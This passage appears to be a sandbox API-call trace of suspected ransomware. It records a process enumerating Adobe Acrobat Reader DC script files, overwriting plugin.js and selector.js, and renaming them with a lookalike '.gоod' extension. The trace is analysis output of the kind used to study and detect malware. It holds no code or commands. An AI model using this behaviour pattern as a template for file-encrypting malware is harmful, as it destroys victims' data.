DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js", lpFilePart=0x0) returned 0x74 [0249.766] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\*", lpFindFileData=0x20becd10 | out: lpFindFileData=0x20becd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0249.766] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x20beccd0 | out: lpFindFileData=0x20beccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.766] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x20beccd0 | out: lpFindFileData=0x20beccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0249.767] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x20beccd0 | out: lpFindFileData=0x20beccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e36, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0249.767] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x20beccd0 | out: lpFindFileData=0x20beccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xf97, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0249.767] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x20beccd0 | out: lpFindFileData=0x20beccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0249.767] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0249.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becf30) returned 1 [0249.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becef0) returned 1 [0249.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becff0) returned 1 [0249.767] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js", nBufferLength=0x105, lpBuffer=0x20beca90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js", lpFilePart=0x0) returned 0x74 [0249.767] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\*", lpFindFileData=0x20becd10 | out: lpFindFileData=0x20becd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a920 [0249.767] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x20beccd0 | out: lpFindFileData=0x20beccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.768] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x20beccd0 | out: lpFindFileData=0x20beccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0249.768] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x20beccd0 | out: lpFindFileData=0x20beccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e36, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0249.768] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x20beccd0 | out: lpFindFileData=0x20beccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xf97, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0249.768] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x20beccd0 | out: lpFindFileData=0x20beccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xf97, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0249.768] FindClose (in: hFindFile=0x134a920 | out: hFindFile=0x134a920) returned 1 [0249.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becf30) returned 1 [0249.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becef0) returned 1 [0249.768] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x20bec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js", lpFilePart=0x0) returned 0x7e [0249.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becda0) returned 1 [0249.768] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js"), fInfoLevelId=0x0, lpFileInformation=0x38c6f88 | out: lpFileInformation=0x38c6f88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e36)) returned 1 [0249.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becd60) returned 1 [0249.770] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x20bec780, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js", lpFilePart=0x0) returned 0x7e [0249.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becca0) returned 1 [0249.770] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0249.771] GetFileType (hFile=0x808) returned 0x1 [0249.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becc10) returned 1 [0249.771] GetFileType (hFile=0x808) returned 0x1 [0249.771] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20becdf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20becdf8*=0) returned 0x1000 [0249.771] ReadFile (in: hFile=0x808, lpBuffer=0x38c7470, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20becdc8, lpOverlapped=0x0 | out: lpBuffer=0x38c7470*, lpNumberOfBytesRead=0x20becdc8*=0x1000, lpOverlapped=0x0) returned 1 [0249.772] CloseHandle (hObject=0x808) returned 1 [0249.772] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x20bec780, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js", lpFilePart=0x0) returned 0x7e [0249.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becca0) returned 1 [0249.772] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0249.772] GetFileType (hFile=0x808) returned 0x1 [0249.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becc10) returned 1 [0249.772] GetFileType (hFile=0x808) returned 0x1 [0249.772] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x20becdf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20becdf8*=0) returned 0x3e36 [0249.772] WriteFile (in: hFile=0x808, lpBuffer=0x38c8888*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20becce8, lpOverlapped=0x0 | out: lpBuffer=0x38c8888*, lpNumberOfBytesWritten=0x20becce8*=0x10, lpOverlapped=0x0) returned 1 [0249.773] CloseHandle (hObject=0x808) returned 1 [0249.773] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x20bec780, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js", lpFilePart=0x0) returned 0x7e [0249.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becca0) returned 1 [0249.773] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0249.774] GetFileType (hFile=0x808) returned 0x1 [0249.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becc10) returned 1 [0249.774] GetFileType (hFile=0x808) returned 0x1 [0249.774] ReadFile (in: hFile=0x808, lpBuffer=0x38cabb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20becd78, lpOverlapped=0x0 | out: lpBuffer=0x38cabb0*, lpNumberOfBytesRead=0x20becd78*=0x1000, lpOverlapped=0x0) returned 1 [0251.319] CloseHandle (hObject=0x808) returned 1 [0251.319] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x20bec780, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js", lpFilePart=0x0) returned 0x7e [0251.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becca0) returned 1 [0251.319] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0251.319] GetFileType (hFile=0x808) returned 0x1 [0251.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becc10) returned 1 [0251.319] GetFileType (hFile=0x808) returned 0x1 [0251.319] WriteFile (in: hFile=0x808, lpBuffer=0x37be108*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20bece28, lpOverlapped=0x0 | out: lpBuffer=0x37be108*, lpNumberOfBytesWritten=0x20bece28*=0x1010, lpOverlapped=0x0) returned 1 [0251.320] CloseHandle (hObject=0x808) returned 1 [0251.320] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x20bec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js", lpFilePart=0x0) returned 0x7e [0251.320] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js.gоod", nBufferLength=0x105, lpBuffer=0x20bec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js.gоod", lpFilePart=0x0) returned 0x83 [0251.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becd60) returned 1 [0251.320] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js"), fInfoLevelId=0x0, lpFileInformation=0x20bece40 | out: lpFileInformation=0x20bece40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9201c09f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3e46)) returned 1 [0251.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becd20) returned 1 [0251.320] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js.gоod")) returned 1 [0251.321] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js", nBufferLength=0x105, lpBuffer=0x20bec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js", lpFilePart=0x0) returned 0x80 [0251.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becda0) returned 1 [0251.322] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js"), fInfoLevelId=0x0, lpFileInformation=0x38a0810 | out: lpFileInformation=0x38a0810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xf97)) returned 1 [0251.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becd60) returned 1 [0251.322] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js", nBufferLength=0x105, lpBuffer=0x20bec730, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js", lpFilePart=0x0) returned 0x80 [0251.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becc50) returned 1 [0251.322] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0251.322] GetFileType (hFile=0x808) returned 0x1 [0251.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becbc0) returned 1 [0251.322] GetFileType (hFile=0x808) returned 0x1 [0251.322] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x20becdf8 | out: lpFileSizeHigh=0x20becdf8*=0x0) returned 0xf97 [0251.322] ReadFile (in: hFile=0x808, lpBuffer=0x38a1b30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20becd28, lpOverlapped=0x0 | out: lpBuffer=0x38a1b30*, lpNumberOfBytesRead=0x20becd28*=0xf97, lpOverlapped=0x0) returned 1 [0251.323] CloseHandle (hObject=0x808) returned 1 [0251.549] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js", nBufferLength=0x105, lpBuffer=0x20bec730, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js", lpFilePart=0x0) returned 0x80 [0251.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becc50) returned 1 [0251.549] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0251.550] GetFileType (hFile=0x824) returned 0x1 [0251.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becbc0) returned 1 [0251.550] GetFileType (hFile=0x824) returned 0x1 [0251.550] WriteFile (in: hFile=0x824, lpBuffer=0x3941960*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x20becc38, lpOverlapped=0x0 | out: lpBuffer=0x3941960*, lpNumberOfBytesWritten=0x20becc38*=0xfa0, lpOverlapped=0x0) returned 1 [0251.551] CloseHandle (hObject=0x824) returned 1 [0251.551] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js", nBufferLength=0x105, lpBuffer=0x20bec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js", lpFilePart=0x0) returned 0x80 [0251.551] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js.gоod", nBufferLength=0x105, lpBuffer=0x20bec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js.gоod", lpFilePart=0x0) returned 0x85 [0251.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becd60) returned 1 [0251.551] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js"), fInfoLevelId=0x0, lpFileInformation=0x20bece40 | out: lpFileInformation=0x20bece40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9225845b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xfa0)) returned 1 [0251.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becd20) returned 1 [0251.551] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\selector.js.gоod")) returned 1 [0251.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bec5c0) returned 1 [0251.552] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls", nBufferLength=0x105, lpBuffer=0x20bec060, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls", lpFilePart=0x0) returned 0x78 [0251.552] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\*", lpFindFileData=0x20bec2e0 | out: lpFindFileData=0x20bec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0251.553] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.554] FindNextFileW (in: 